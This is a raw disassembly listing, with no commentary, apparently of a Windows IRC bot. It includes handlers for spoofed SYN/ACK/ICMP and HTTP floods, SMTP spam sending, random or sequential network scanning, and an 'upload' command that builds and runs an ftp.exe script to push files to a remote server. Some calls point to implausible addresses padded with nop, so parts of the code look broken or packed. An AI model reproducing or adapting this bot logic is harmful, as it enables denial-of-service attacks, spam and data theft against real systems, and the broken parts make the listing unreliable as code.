		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBBC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB594
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6A8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6A4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB624
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5CC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB63C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB674
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB63C
		push	esi
		call	dword_4CB6BC
		call	dword_4CB57C
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B09C


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42B054
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B010
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42AFD8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42AFA0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB714, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42AF20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AECC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE94


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE2C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42ADE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42ADAC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42AD44
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	near ptr 2830E52h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB590
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42ACD4
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42ACA4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431AC8, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431AC8


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431AC8[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42AC70
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42AC3C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42AB9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB4C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42AB10
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]


loc_407868:				; DATA XREF: Themida_:005546EDo
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E578[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E360[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E578
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E578[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
